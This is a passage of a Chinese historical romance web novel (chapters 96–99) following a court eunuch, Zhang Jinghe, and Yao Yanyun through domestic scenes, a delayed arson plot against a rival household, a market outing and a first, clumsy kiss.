“公公你怎么来了?”姚砚云起身给她倒了杯热茶,一脸笑意,“富贵一早还和我说,公公出去办事了。” 张景和接过茶:“早上出去是有事情要办,办完自然就回来了,你这一上午,去哪里玩了?” “也没去别处,”姚砚云喝了一口茶,避过了撞见张默的事,免得他多心揣测,“先去铺子里转了转,后来又去看了芸娘,陪她说了说话。” 张景和随口又问了几句闲话,便起身预备走了。 姚砚云问他:“公公这就要走了?” 张景和道:“我要去书房。” “那我和你一起去可以吗?”姚砚云也起身了“你难得回来,我想和你待久一点。” 不知怎么的,张景和看着她这般依赖自己的样子,心里有一种说不出来的感觉,可他确定这是一种特别好的感觉,竟让他有些心尖发颤 “可以,但你不许胡闹,更不许扰我做事。”张景和面上绷着,心里却是美滋滋的。 “小云晓得了!”姚砚云立刻应下,眉眼弯成了月牙,“我就在一旁看话本,绝不多言,绝不扰公公办公。”说罢,便先一步出了门。 张景和望着她轻快远去的步履,宛若拂过心头的一缕春风。他立于原地,唇角不自觉地漾开一抹浅笑,有时候他自己也觉得很奇妙,怎么这个女人竟然能如此牵动他的心思 那只白猫,姚砚云已从六婶那里接了回来,与马冬梅一同照拂着。每次张景和回府,她总要抱去给她瞧瞧。这回两人索性将猫也带到了书房,两人各忙各的,张景和伏案挥毫,不知在抄写什么,姚砚云则半趴在榻上,捧着本话本看得入神。 白猫起初蜷在姚砚云身侧,乖乖巧巧的,不多时便耐不住性子,跳下榻跑到了张景和的书案上。它时不时“喵喵”叫上两声,声音软糯,像是在撒娇求关注,张景和却只顾着写东西,未曾理会。见状,白猫索性凑上前,伸出粉嫩的舌头,轻轻舔舐起他握笔的手。 姚砚云瞥见,生怕它扰了张景和,连忙起身将猫抱回自己身边,柔声问:“公公,这小猫还没个名字呢,不如我们给它取一个?”她指尖摩挲着猫的绒毛,抬眼看向他,“你来取好不好?” 张景和放下笔,略一思忖:“就叫小白。” 姚砚云: “这名字也太普通了些。”姚砚云低头摸了摸小猫蓬松的白毛,“不如叫雪球?你瞧它圆滚滚的,像不像一团雪?” 张景和望着她眼底的笑意:“便依你,叫雪球。” 不知不觉间,姚砚云看着话本,竟在榻上沉沉睡去。张景和瞥见,起身取了一床狐裘毯,轻轻替她盖在身上。他蹲在榻边,借着窗外透进来的光,细细打量着她的睡颜——长长的睫毛,鼻尖小巧挺翘,红润的唇瓣。他看了许久,才不舍地移开目光,回到案前继续忙自己的事。 不知道过了多久,张景和才将手头的事处置妥当。见姚砚云仍在熟睡,他再次蹲下身,伸出指尖,轻轻捏了捏她肉嘟嘟的脸颊:“姚砚云,别睡了。” 捏了好几下,姚砚云才缓缓睁开眼。她坐起身,揉了揉惺忪的睡眼,望向窗外,见天色已然全黑,不由得惊呼:“呀,怎么天都黑了?我竟睡了这么久?” 张景和看着她迷糊的模样,不自觉又笑了:“饿了没有,走吧,去吃饭。” 两人并肩走到饭厅,用过晚膳后,又在厅中略坐了片刻消食。张景和看了看时辰,便起身道:“时候不早了,我送你回去。” 姚砚云却坐着未动,手指绞着裙摆,脸颊微微泛红,声音细若蚊蚋:“公公,我能不能……能不能……” 张景和见她这般支支吾吾、欲言又止的模样,不由得觉得好笑,故意逗她:“怎么?还有你不敢说的话?” 姚砚云想着,既然张景和都这样说了,她也没什么不好意思的了,她深吸一口:“我今晚能不能和你睡” 这话一出,张景和霎时怔住,双眼瞪得如铜铃般圆,心砰砰砰乱跳:“你,你,你在胡说八道什么。” 姚砚云道:“公公你回来的本就少,每次吃完晚饭便送我回去,我想和你多待一会儿夜里也能多说说话。我又不会对你做什么,你怕什么?” 她说的倒是心里话。张景和回来的很少,两人相处的时光本就寥寥。她想多黏着他一会儿,想在他身边多说些无关紧要的闲话,甚至想枕着他的气息入眠 “不能!”张景和脱口而出。 “为什么啊?我难道不是你的女人吗?哪有男人让自己的女人独守空房的道理?”姚砚云反问她。 ““你!”张景和被她问得一时语塞,喉间像是堵了团棉絮,竟找不出半句反驳的话。他强压下心头的慌乱,板起脸催促:“再不起身,我便不送你回去了。” 见她依旧坐着不动,眼眶微微泛红,张景和终究是狠不下心,只得走上前,不由分说地拉起她的手腕。姚砚云挣了挣,终究还是顺着他的力道起身,不情不愿地跟在他身后。 两人一前一后,不知不觉竟又走回了踏月轩。刚踏入屋内,马冬梅便端着一碗汤药走了进来——这是常圣手为姚砚云调理身体开的方子,她每晚睡前都需服下一碗。马冬梅见张景和在侧,只俯身放下药碗,行了一礼便悄无声息地退了出去。 张景和拿起药碗,递到她面前,语气放缓了些:“把药喝了,早些歇息。” 姚砚云却偏过头,鼓着脸颊,赌气着说:“我不喝!等你走了,我便倒了它。” 张景和: “谁又惹你不开心了?”张景和看着她鼓得像河豚般的脸,眉梢微蹙。 姚砚云垂下眼睫,声音带着一些沙哑:“我觉得自己很可悲,很不自量力。” 张景和道:“你这话是什么意思?” 姚砚云道:“就是明知道你不喜欢我,我还拼命的贴上去,这不是不自量力是什么?” “谁说我”张景和刚要脱口而出的话,却在触及她那双澄澈又带着伤痛的眼眸时,硬生生咽了回去。心头翻涌的情愫如潮水般涨落。 顿了顿又道:“你这是无理取闹!你一天天的,是不是非得搞出点事情出来,才安心?” “是!我就是无理取闹!”姚砚云红着眼眶,“你哪里都防着我!我想碰你一下,比碰天上的神仙还难,我能不闹吗!” “我看你就是话本看多了!”张景和深吸一口气,努力压下心头的燥热与慌乱“你要不要听听你在说什么?” 姚砚云迎着他的目光:“我说的都是实话,是藏在心里许久的心里话!” 说罢,姚砚云便别过脸不再看他,起身噔噔噔走进里间寝室,掀了锦被就往床上钻,直直缩到床榻最里头。 张景和端着药碗,无奈地摇了摇头,还是循着脚步声跟了进去。他站在床沿,看着那团裹在被子里的身影,语气放软了些:“先把药喝了再睡” 被子里的人动也不动,只闷闷传来一句:“我手痛,端不住碗。” 张景和: 他沉默着走到床沿坐下,床板微微一沉。“罢了,我喂你喝,总行了吧?” 姚砚云这才缓缓转过来,眼眶还带着点泛红,却乖乖地抬了抬下巴,一口一口咽下他喂来的药。 “你想怎么任性都随你,”张景和一边舀着药,一边低声道,“唯独不能拿自己的身子开玩笑,这药若是断了,之前的调理就白费了。” 姚砚云依旧没应声,只乖乖张着嘴,直到最后一口药喝完,才偏过头抿了抿唇,不看他。 张景和: “还在生气?”张景和问她。 姚砚云这才转过脸,看着他:“气着呢x。除非……公公亲我一下,不然我可不会原谅你。” 张景和: 第97章 张景和几乎想要,用手捂住自己的耳朵,等恢复了思绪之后,他黑着脸:“不要总是胡思乱想,我回去了,你早些歇息吧。” 姚砚云的声音轻轻追上来:“公公明日,便要回宫了吗?” “我……”张景和喉结滚了滚,终究还是松了口,语气缓和了些,“明日不回。” 姚砚云眼里悄悄亮了亮,问他:“那明日,我还能陪着公公在书房待着吗?” 张景和很想说不可以,在对上她那双含着期待、像浸了温水的双眼时,竟硬生生咽了回去,他不忍拒绝,说了句:“随你吧。” 说罢,便转身离去了。没过多久,马冬梅便推门进来,和她说泡澡的物件已备好。姚砚云去泡了澡,而后便回了寝室,她刚沾到床榻,倦意便席卷而来,很快就沉沉睡了过去。 可这睡意却没撑多久。约莫一个时辰后,姚砚云竟毫无征兆地醒了。窗外的月色刚爬过窗棂,离真正的半夜还早得很。她睁着眼睛躺在床上,翻来覆去再也睡不着,脑子里不由自主地又绕回了张默白天说的那件事。 这事,她问了张景和,张默也特意找她说过——说到底,不过是朝堂上党同伐异的把戏,而萧乾,不过是这场争斗里最倒霉的替罪羊罢了。可如今,随着她对张景和的了解越来越深,心底却总时不时冒出一股莫名的寒意,像有只无形的手悬在头顶,让她总觉得下一秒就要坠入万劫不复的深渊。 张景和似乎有很多敌人,那些明里暗里的算计与争斗,一直围绕着他。其实早在从前,芸娘就曾和她说过,像她们这样的人,跟着手握重权的宦官,本就注定要把这些风风雨雨扛在身上。这些道理,她不是不懂,甚至比谁都清楚其中的利害。可她偏偏控制不住自己,她就是不想看到他这样,不想看到他站在风口浪尖上。 像一艘在惊涛骇浪里飘摇的船,明明看着坚固,却仿佛下一秒就会被翻覆,连带着她那颗悬着的心,也跟着往下沉 可转念一想,如今再想这些又有什么用呢?她早已经踏上了这条船,无论是自愿还是身不由己,都早已没有了回头的余地。 前一夜翻来覆去失眠到天快亮,姚砚云第二天直睡到日头过了正午才缓缓醒来。等她慢悠悠洗漱妥当,富贵便匆匆过来回话,说张景和让她过去望雪坞一起用午饭。 姚砚云应了声,拢了拢身上的白氅,踩着庭院里未化尽的薄雪,朝着望雪坞的方向走去。 一进屋子,暖意便裹着淡淡的熏香扑面而来,驱散了周身的寒气。 张景和正坐在靠窗的紫檀木桌边等她,桌上的饭菜还未上桌,只摆着两只温热的青瓷茶杯。姚砚云顺手将身上那件雪狐毛滚边的白氅取下,轻轻搭在一旁的雕花衣架上,这件大氅是她刚进张府时,吉祥亲手送来的,料子是上等的银狐绒,滚边的雪狐毛蓬松柔软,一看便知价值不菲,款式也合她的身,她平日里向来爱惜,出门时都会穿上它。 她刚把白氅放好,身后便传来张景和的声音:“这件以后不要再穿了。” 姚砚云愣了一下,转过身不解地看着他,眼底带着茫然:“为什么啊?这氅子还好好的。” 张景和抬眸看向她,指尖轻轻叩了叩桌面,随即起身从一旁的锦盒里取出一件大氅,走上前披在了她的肩上:“不合适你。我给你买了新的,这件更衬你。之前那件旧了,不必再留了。” 姚砚云垂眸一看,肩上的大氅是明艳的正红色,雪狐毛滚边比之前那件更厚实,针脚细密工整,领口还绣着暗纹,比她那件白氅还要精致一些,显然也是花了心思挑选的。 她心里自然是欢喜的,可一想到那件白氅陪伴了自己这么久,又有些舍不得:“公公送我的这件红氅我很喜欢,可那件白色的……我还是想留着,偶尔穿穿也好。” 张景和眉头微不可察地蹙了一下:“太旧了。你若是实在喜欢白色,我再让人给你挑件新的,料子比这件更好。” 他没说出口的是,他最近偶然发现,姚砚云只要出门,便总穿着那件白氅,他后来才想起,那是他之前让吉祥去买的。一想到她身上穿着别的男子挑选的衣服,他心里便莫名有些不舒服,思来想去,还是亲自去绸缎庄挑了这件红氅,就想让她换上自己选的东西。 姚砚云哪里知道他这番隐秘的心思,只觉得好好的衣服丢了实在可惜,忍不住又劝了一句:“也不算旧,我留着吧,放在衣柜里也不占地方。” 张景和: 就在这时,门外传来了脚步声,六婶带着人端着饭菜走了进来。把碗筷饭菜摆好后,六婶正准备退下,张景和却忽然叫住她,指了指衣架上的白氅:“六婶,这件大氅送你了,你拿回去穿吧。” 六婶愣了一下,伸手摸了摸那雪狐毛,只觉触手柔软,一看便知是贵重东西,连忙躬身道谢:“多谢老爷赏赐,也多谢姚姑娘体恤!”说着便小心翼翼地把白氅叠好,揣在怀里,一脸笑意地退了出去。 姚砚云: 之后两人便坐下来吃饭,姚砚云心里一直惦记着那件事,那把火到底还放不放?能不能不放?她几次想开口问,可话到了嘴边又咽了回去。她心里清楚,涉及官场争斗的事,张景和向来不愿和她多说。而且以他的性子,自己若是主动问起,他难免又要多想,说不定还会觉得她不安分。 张景和很快便看出了她的心思,见她只默默扒着碗里的饭,却没怎么动菜,便放下筷子问道:“饭菜不合你的胃口?若是不喜欢,我让厨房再做些别的。” 姚砚云这才从自己的思绪里回过神来,连忙摇了摇头,夹了一口青菜放进嘴里:“没有,很好吃,就是我刚才在想别的事,走神了。” 这顿饭两人便没再多说什么,只是安静地吃饭。等吃完饭,张景和说要去书房处理事情,姚砚云便想着先回踏月轩,把自己常看的几本书拿过来,陪他一起在书房待着。 可等她从踏月轩拿着书回来,却没在大厅里看到张景和的身影,以为他是回寝室歇息了,便又转身往寝室那边走。可寝室里也空无一人,她正疑惑着,转身往大厅走时,忽然听到大厅里传来了张景和的声音,似乎在和人说话。 姚砚云的脚步下意识顿住,指尖轻轻攥紧了怀中的书。她放轻脚步,稍稍往前厅挪了几步,屏住呼吸细听,这才辨出与张景和对话的人,竟是陈秉正。 先是陈秉正那带着咬牙切齿的声音穿透门缝传来,满是愤懑:“都察院那几个老不死的!今日竟叫了二十多个和尚堵在萧乾家门口,木鱼敲得震天响,还扯着嗓子喊‘共扶大局’,逼得过来瞧热闹的官员给萧乾捐银,美其名曰‘养老’!这群跳梁小丑!丢人现眼!” 顿了顿,陈秉正的声音又沉了几分,带着焦灼:“玄英,这事闹得这么大,怕是用不了多久就会传到万岁爷耳朵里。可干爹如今又不在京中” 屋内静了片刻,随即传来张景和一声极轻的冷笑,听得姚砚云心头一紧:“既然他们想闹,那今天就送他们一起上西天,趁着人多眼杂,倒省了不少麻烦。” 之后,姚砚云便看见陈秉正凑到张景和耳边低语,细若蚊蚋,半句也听不真切。她只站在门外,全身冰凉,怀里的书仿佛也变得沉重起来。 又过了约莫半盏茶的功夫,陈秉正的脚步声响起,似乎又不知道说了什么,便匆匆离开了。 张景和说了一句:“我晚些就到。” 陈秉正离开了好一会儿,姚砚云才走了出来。 “公公” 张景和瞥见姚砚云的瞬间,眼底的阴鸷还没来得及收尽,嘴角已强行牵起一些笑意:“你怎么会在这里” 姚砚云拖着沉重的脚步走到他身旁坐下,指尖微微发颤:“公公,你现在就要去放火吗?” 张景和脸上的笑意瞬间褪去:“你问这些做什么。” “你不是说是后天吗”姚砚云咬着下唇,试图让他改变主意,“或许张默真的有办法呢?要不再等等吧,快过年了,这样不好” “这不关你x的事。”张景和的脸色越来越冷。 姚砚云急了:“怎么不关我的事?要是你出事了,我怎么办?” 张景和闻言却嗤笑一声,眼神里带着轻蔑与自负:“我会出什么事?难道在你眼里,我连这点小事都办不好?” “我不是这个意思”姚砚云慌忙解释“我只是觉得,张默那边已经在行动了,要不你就等今天过了再看看?那边还有京官在,你要是今天放了火,万一烧到人,往后别人又会怎么对付你?而且那边毕竟在办丧事啊,这样真的太不妥了,就不能再等等吗?说不定张默那边已经劝得差不多了” 说着,她伸出手,想握住张景和的手腕,盼着能用这点温度让他软下心来。可指尖刚碰到他的衣袖,张景和就像被烫到一般,一下子甩开她的手。 你这是在做什么?“张景和的声音冷冰冰的。 姚砚云道:“我求你,就给别人一个机会,也给自己一个机会” “你为这些人来求我?”张景和像是听到了天大的笑话,眼神里满是不可思议,还有几分被背叛的愠怒。 “我是为了你好啊。”姚砚云的声音带着委屈。 张景和盯着她:“你要是真为了我好,就不该管这件事,更不该为他们说话。” 话音落下,他再也不看姚砚云一眼,猛地站起身,衣袖一甩,怒气冲冲地向外走去,脚步又快又沉,仿佛要把满心的怒火都踩在脚下。 他一口气走到院门口,胸口还在因怒意起伏,却突然听到身后传来一把熟悉的声音,轻轻唤着他的名字: “景和。” 像是一道惊雷,让他的脚步猛地顿住,全身的动作都僵在了原地 第98章 景和。这是他的名字啊。 他已经至少二十年没听过有人这样叫他了。 刚入宫时,他还是个小火者,宫里人要么随口叫他“小张”,要么忙起来连名带姓都记不清,只含糊地喊“那个谁,那个谁”,后来他熬出了头,旁人叫他“张公公”,叫他“厂公”,叫他“玄英”。 那些称呼像一层又一层冰冷坚硬的壳,将“张景和”三个字裹得密不透风,久到连他自己,都快要忘了这三个字的模样。 可只有他知道,张景和这三个字,代表的不是宫里那个谨小慎微、手握权柄的宦官,而是他作为“人”的开始,是他曾经有血有肉、能哭能笑,还是个正常男子的证明 “景和。” “嗯” 一声轻唤,像一片羽毛,轻轻搔过他心尖上最荒芜的地方。 听到他回应自己之后,姚砚云带着笑意朝他走了过来,她望着他,语气是全然的认真:“我喜欢你的名字,以后就这样叫你吧。可以吗?” 也不知道怎么的,张景和心底忽然就悸动了起来,原先盘踞在心头的那点怒意,竟散得干干净净,此刻甚至是欣喜 他回:“可以。” 姚砚云也看到了他脸色的缓和,又道:“那,你能不能不去了,明天再烧也来得及吧” 说完,姚砚云也不管他愿意不愿意,伸手便攥住他的手腕,半拉半拽地将人带回了屋里。 两人相对落座,姚砚云耐心地说:“你就听我这一回吧。人家府上还在办丧事,你们偏要在这种时候动手脚,传出去实在太不地道了……再说,我也知道你们这么做,是冲着内阁去的。可你想过没有,这火一旦烧起来,难保不会殃及池鱼。到时候平白惹了旁人记恨,他们若联手对付你们,岂不是得不偿失?倒不如等明日看看,少树一个敌人,总归是好的。” 张景和道:“你以为我怕他们吗?” 姚砚云无奈地苦笑一声,轻轻摇了摇头:“这不是怕不怕的问题啊这是做人不能太缺德的问题啊人家在做丧事呢。” 张景和哼道:“你竟然说我缺德!” 姚砚云连忙解释:“我没说你,我说的是陈公公!方才我在屋里都听见了,从头到尾都是他在一旁煽风点火,情绪最是激动。你可千万别被他带偏了,掉进他挖的沟里去!” 张景和别过脸,冷哼一声:“别以为我不知道你心里在打什么算盘。” “我能打什么算盘?”姚砚云望着他的侧脸,语气诚恳,“我不过是不想你得罪太多人,不过是……盼着你好罢了。” 张景和猛地将脸转向另一边。一股火气又在心底腾腾地烧了起来,却不是气姚砚云,而是气他自己。他这辈子最恨的,便是旁人窥破他的心思,拿捏他的软肋。可如今,他对姚砚云这点心思,竟不知是哪里露了破绽,竟被外人瞧了去,这才惹出今日这场麻烦! 姚砚云望着窗外,暗自轻叹,她能做的都已经做了,余下的便全看张默的造化了。 今日天公作美,出了几缕暖融融的日光。姚砚云忽的生出个念头,想张景和同他去京中集市逛逛。张景和起初是想拒绝的,可看着她对自己撒娇的模样,终究还是松了口。 两人乘着马车,不多时便到了京师最热闹的聚宝市。刚掀开车帘,喧嚣的人声便裹着糖炒栗子的甜香、胭脂铺的脂粉香涌了进来,姚砚云眼瞧着街角一家胭脂水粉铺的鎏金招牌,拉着张景和便走了进去。 铺子里摆着一排排描金漆盒,盒中盛着各式口脂,红的、粉的、姚砚云挑出两盒,明艳的正红,柔婉的桃红,她转过身,将两盒口脂递到张景和面前,眼底带着一丝期待:“你帮我看看,哪个颜色更衬我?” 张景和接过,只看了几眼:“你若喜欢,便都买下来便是。” 姚砚云闻言,轻轻嗔了他一眼,又把口脂往他面前递了递:“我是问你哪支更好看,你直说便是。” 张景和又看了一眼:“那……便这支桃红色吧。” 姚砚云听了,忽然弯起嘴角,眼底漾开笑意:“原来你喜欢桃红色的唇瓣啊。” 张景和: 出了胭脂铺,两人又沿着集市慢慢逛。姚砚云瞧着街边卖糖画的师傅转出一只栩栩如生的兔子,便拉着张景和驻足看了许久,路过书坊时,张景和又停下脚步,给她挑了本新出的话本。待日头西斜,姚砚云忽的想起前几日听人说春风楼新排了《牡丹亭还魂记》,便又拉着张景和往戏楼去。 戏楼里早已坐满了人,丝竹声起,杜丽娘的婉转唱腔便飘了过来。两人坐在二楼雅座,姚砚云偶尔侧头同张景和说句戏里的情节,张景和则认真听着。 待戏散场,两人乘着马车回府,姚砚云靠在软枕上,想着今日的的热闹,只觉得这一日竟像极了话本里写的“约会”,暖融融的,甜丝丝的。 马车刚停稳,张景和便先一步下车,伸手扶着姚砚云踏下踏板。两人并肩走在连廊上,忽然来了一阵风,拂动了廊下悬着的铜铃,叮当作响间,姚砚云终是按捺不住心底的悸动,悄悄伸过手,轻轻攥住了张景和的袖口。 不过瞬息,她又大胆了些,指尖滑过布料,稳稳牵住了他的手。 这一动静恰好落在不远处扫地的四五个丫鬟眼里,她们手中的扫帚顿了顿,交换着惊讶的眼神,连头都不敢抬得太明显,只敢用余光悄悄瞥着这对并肩而行的身影。 “不要胡闹,这么多人看着呢。”张景和眼角的余光也扫到了丫鬟们的反应,耳尖微微发烫,下意识地想把手抽回来。 可他的指尖刚要脱离她的掌心,姚砚云却反而攥得更紧了些,又把自己的手往他手心里送了送,仰头看他时,带着笑:“那又怎么样?”话音落,她牵着他的手,脚步轻快,继续往踏月轩走去,只留身后的丫鬟们面面相觑,后面又笑着,不知道相互低头在说什么。 进了屋,姚砚云便径直往内室去换常服。褪去外衫时,发间的玉簪不知怎的松了,她抬手一扶,发髻竟直接散了开来,一头乌黑的墨发如瀑布般垂落肩头。 她对着铜镜皱了皱眉,自从来了这里,梳头这事她总也学不会,平时都是马冬梅帮她梳头的。她笨拙地拿起梳子,刚要往发间探,却听得外间传来轻缓的脚步声。 张景和x在厅内不见姚砚云出来,便起身往内室走去。推开门,便见她背对着门坐在镜前,一手抓着散乱的发丝,一手拿着梳子胡乱比划。 他走上前轻轻握住她悬在半空的手,指尖从她掌心接过那把象牙梳:“我来帮你。” 姚砚云转头看他,眼里满是诧异:“你还会梳头?” “我以前帮宫里的娘娘梳过头。”张景和说着,让她重新转向铜镜,自己则站在她身后。他拿起梳子,小心翼翼地梳理着她的长发,墨色的发丝在他指间顺滑地流淌,如上好的绸缎。铜镜里映出姚砚云小巧的侧脸,睫毛轻轻颤动着,他的目光不自觉地往下移,落在她微微敞开的衣领处,以及那曲线处。 姚砚云从镜中捕捉到他奇怪的目光,脸颊瞬间染上一层薄红,慌忙低下头。张景和见状,放下梳子,伸手轻轻扶着她的下巴,将她的脸抬了起来:“别动。” 姚砚云僵着身子,连眼都不敢眨,直到头顶传来梳子划过发丝的轻柔触感,他果然没再看她,只专注地打理着她的头发,不久后,梳子停下,姚砚云好奇地瞥了眼铜镜:镜中女子的发间,挽着的是已婚妇人特有的圆髻,比马冬梅往日给她梳的少女发髻,多了几分温婉的规整。 “怎么样?”张景和的声音从身后传来,“比马冬梅梳的好?” 姚砚云一下没反应过来发髻的样式:“你梳的样式……和冬梅的不一样。” “这个更合适你。”张景和的指尖轻轻拂过她发间的银簪。 他又搬了张凳子,在她身侧坐下,目光落在桌角那盒新买的口脂上:“试一下给我看看” 姚砚云道:“下次吧,一会儿就要吃饭了,涂了还要擦掉,怪麻烦的。” 张景和却没依,只定定地看着她:“我想看” 于是姚砚云拿起口脂盒,指尖刚碰到盒盖,手腕却被他轻轻按住。张景和接过盒子,用指腹沾了一点桃红的膏体,俯身靠近,在她的下唇轻轻摩/。擦着,他的动作极慢,以至于姚砚云不觉得他在帮她上口脂,倒像是在抚/。摸她的唇一样。 她倒是没多想什么,直到他将她的上唇也细细涂满,指尖离开时,竟下意识地蹭了蹭自己的下唇,像在回味方才触到的柔软。气氛才变得微不可言起来 四目相对的瞬间,像七月江南猝不及防的暴雨,又像久旱的柴房被星火引燃,更似濒死的游鱼撞进一汪清泉。两人的呼吸不约而同地沉了,重了,搅在一起,分不清是谁的气息先乱了章法 下一刻,张景和将她紧紧拥入怀中,侧脸埋进她温暖白皙的颈窝。 随着两人的呼吸越来越重,他的唇,猝不及防地噙/。住了她的颈脖。 亲吻 吮/。吸 第99章 姚砚云先是僵住了,浑身的血液仿佛都在这一刻凝固,随即又回过神,抬手慢慢抱住了他的腰。 她能清晰地感受到他的慌乱,他是真的不会亲,杂乱无章的,先是笨拙地蹭过,后来不知怎么,竟在她颈侧柔软的肌肤上咬/。了下去。那疼意混着酥麻漫上来,姚砚云鼻尖一酸,忍不住闷哼出声,眼泪竟不受控地涌了上来。 她被咬哭了…… 直到听到姚砚云的哭腔,张景和才如梦初醒般,猛地松了口,仓皇地退开。 两人四目相对,他看着她颈间那处赫然的红痕,印着浅浅的牙印。 他看到她哭了 “对不起……对不起,我,我冒犯你了。”他慌忙起身,声音都在发颤,目光落在她泛红带着泪的眼角,心口像是被什么狠狠揪着。 他想,她定是委屈极了,才会这样掉眼泪,被他这样的人做了这种事情,她心里该是有多委屈,她该是有多恨自己 他猛地抬手捂住脸,指缝里漏出压抑的喘息。 他恨自己,又一次失控了。 甚至不敢看她一眼,就头也不回地转身走了,任凭姚砚云的声音在身后一声声追着 他本不应该有这些心思的,他本不应该做这些事,他甚至在心里鄙视自己,忘记了自己是个阉人,亲了之后,那下一步又该如何呢?他这样的人,如何下一步?他这样的人,没有下一步 她那样好,浑身都透着鲜活的朝气,就像一盏明灯一样照亮他黑暗的人生,可他又能给她什么呢?想到这里,他几乎头皮发麻,胸口的窒闷翻涌上来,逼得他几乎要疯掉。 踉跄着回到望雪坞,他反手便将自己锁进了书房,他枯坐了不知多久,连富贵轻手轻脚叩门的声音,都惊得他猛地回神。 “老爷,晚膳备好了,要去踏月轩叫上姚姑娘一起吗?” 他喉结滚了滚,声音沙哑得厉害:“不必了,我今晚不用膳。你……退下吧。” 富贵觑着门缝里漏出的半张沉郁的脸,哪里还敢多问,喏喏应了声,便轻手轻脚地退了出去。 又不知过了多久,窗棂外忽然飘起了细碎的雪沫子,冰凉的风裹着雪粒扑在窗纸上,簌簌作响。他望着那漫天飞舞的白,心头的躁火才稍稍压下去一些。 转念又想起姚砚云——也不知道她用饭了没有?白日里受了那样的委屈,怕是正躲在屋里偷偷抹眼泪吧? 或许,从一开始就不该把她带回府里。这场相遇,从始至终,就是个错。 他又把富贵叫了过来。 “去踏月轩看看,姚姑娘用膳了没有?再看看她……她可有什么异样?有没有……”他顿了顿,终究还是没好意思说出“寻死觅活”那四个字,只沉声道,“有没有闹脾气?” 富贵闻言,眼睛倏地瞪大了:“老爷?你这是……和姚姑娘拌嘴了?” 张景和剜过来一记眼刀:“不该问的你别问!” “是是是,小的多嘴。”富贵连忙躬身,又忍不住劝了句,“老爷你别急,小的这就去瞧瞧。” “谁急了!”张景和猛地拔高了声音, 富贵摸了摸后脑勺,识趣地改口:“是是是,小的急,小的这就去!” 话音未落,人已经一溜烟地小跑着出了望雪坞。 踏月轩 姚砚云和马冬梅歪在软榻上,手里捏着块桂花糕在说话。 马冬梅眼尖,瞥见她颈侧,竟洇着一小片红痕迹,不由蹙眉凑近:“砚云,你脖子上这是怎么了?” 话音刚落,她忽然想起前段时间府里闹老鼠的事,有些担心起来:“这分明是道印子!莫不是夜里被老鼠咬了?你坐着别动,我这就去拿药酒给你清理,明日去看郎中。” 说着就要掀着裙摆起身,姚砚云忙伸手拉住她的衣袖,有些不好意思:“不用了冬梅,没什么事” 马冬梅道:“这可不是小事!这是会出人命的!我小时候隔壁街坊就叫耗子咬了,后来整条大腿都烂得发黑,最后……大腿都废掉了。” “不是……”姚砚云脸颊瞬间涨得通红,慌忙抬手捂住颈侧那片痕迹,声音细得像蚊子哼,“这是被张景和亲的……不过,也不算亲吧,算是他咬了我一下……” “咬的?”马冬梅眼睛瞪圆了,愈发好奇,伸手轻轻拨开她覆在颈间的指尖。烛火的光温柔地洒在肌肤上,那圈浅浅的牙印清晰可见。她忍不住低笑出声:“好好的咬你做什么?难不成张公公是属狗的?” “你小声些!”姚砚云吓得连忙伸手去捂她的嘴。 马冬梅笑着扒开她的手:“你们俩……玩的倒是别致” 姚砚云: 两人正笑作一团,门外忽然传来轻轻的叩门声,是富贵的声音:“姚姑娘,老爷让小的给你送些点心过来。” 马冬梅起身去开门。富贵端着食盒进来,一双眼睛滴溜溜地在姚砚云脸上转了一圈——见她眉眼含笑,脸颊红扑扑的,气色好得很,哪里有半分寻死觅活的模样?心里顿时便有了数。 他放下食盒,又客套了两句,便躬身退了出去,脚步匆匆地回望雪坞复命。 “老爷,”富贵笑着说,“姚姑娘好得很呢!小的去的时候,她正和马冬梅说笑,脸上一点愁容都没有,还……还笑盈盈的呢!” 张景和握着狼毫的手猛地一顿,浓墨在宣纸上晕开一个难看的墨团。 笑盈盈的? 他眉头紧锁,心里头更加不安了x。分明被他那样冒犯,她怎么还笑得出来? 莫不是……强颜欢笑,背地里正偷偷抹眼泪? 这个念头一起,他心口那点刚压下去的躁火,烧得更旺了 他默默整好衣袍,脚步不由自主地朝着踏月轩的方向迈去,走到半路,又停住了脚,眉头紧锁,终究还是折返了方向。 罢了,不如去找陈秉正。 “大晚上的!你来找我做什么?”显然陈秉正不是很欢迎他的到来。 张景和没理会他的抱怨,径直推门进屋,两人就着昏黄的烛火对饮起来。酒过三巡,醉意上涌,平日里压在心底的话,竟都借着酒劲冒了出来。 张景和捏着酒杯,舌头也打了结:“你说你说像我们这样的阉人,真的会有人在乎……有人真心喜欢吗?” 烛火映在他眼底,晃着茫然的酸涩。 陈秉正灌了口酒,含糊道:“你问这个做什么?你身边不是有姚姑娘吗?瞎琢磨什么。” “她才不喜欢我……”张景和垂下眼,声音低得像蚊蚋。 “你怎么知道?”陈秉正挑眉,有点不耐的反问。 “不用知道!我就是清楚!”他忽然拍了下桌子,酒液溅出几滴,眼底竟泛起红意,“我这样的人,哪、哪配得上她……” 陈秉正把酒杯顿在桌上,发出沉闷的响:“你瞎想这些有屁用!配不配得上,轮得到你说了算?” 张景和闷头又灌下一杯酒,嗓音发哑:“你不懂……。她是全天下最好的人,她,她真的特别好。” 陈秉正被他气笑了,抬脚踢了踢他的凳子,带着醉意骂他:“你就是头猪!大半夜拉着我喝酒,就为了说这些废话?滚回去!别耽误老子睡觉!” 张景和却死死攥着酒杯不肯撒手,脑袋摇得像拨浪鼓:“我不滚……我就不滚……” 陈秉正瞥了他一眼,啧了一声:“真是个孬种” —————— 天刚蒙蒙亮,姚砚云便醒了,听闻张景和昨夜一夜未归,料想是进宫去了,她也无心再歇,匆匆带着三喜往铺子去。 又吩咐他打听:“你去葫芦巷子走一趟,打听打听昨夜可有走水,再瞧瞧萧家的丧事,看有没有什么异样之处。” 三喜不多时便折返回来回话:“姚姑娘,葫芦巷子昨夜安生得很,半点走水的动静都没有。萧家的丧事也像是停了,先前摆了老长一串的幡纸、纸扎,还有香烛供品,如今都清得干干净净,巷子口瞧着竟比往日还清静。” 姚砚云闻言,悬着的心总算是落了地。想来还是张默有些手段的,看来这事是成了。 她此刻已是没了回笼觉的心思,她抬眼望了望天,便对三喜吩咐道:“你回府去赶辆车来,我要去静安寺,就在这里等你。” 三喜却面露难色,连连摆手:“姚姑娘,这可使不得。老爷交代过了,只要出了府门,我半步都不能离了你,不然回去腿都得被打断。” 姚砚云:…… 两人只得折返张府,待马车备好,一路行至静安寺山脚。 待到马车停在山脚下,两人顺着青石台阶缓步而上,很快混着香火的淡香扑面而来。三喜忍不住好奇,侧头问道:“姚姑娘,这趟来静安寺,又是求什么呢?” 姚砚云步子微缓,目光落在前方隐在晨雾里的寺庙飞檐上:“这次不求别的,只求个平安罢了。” 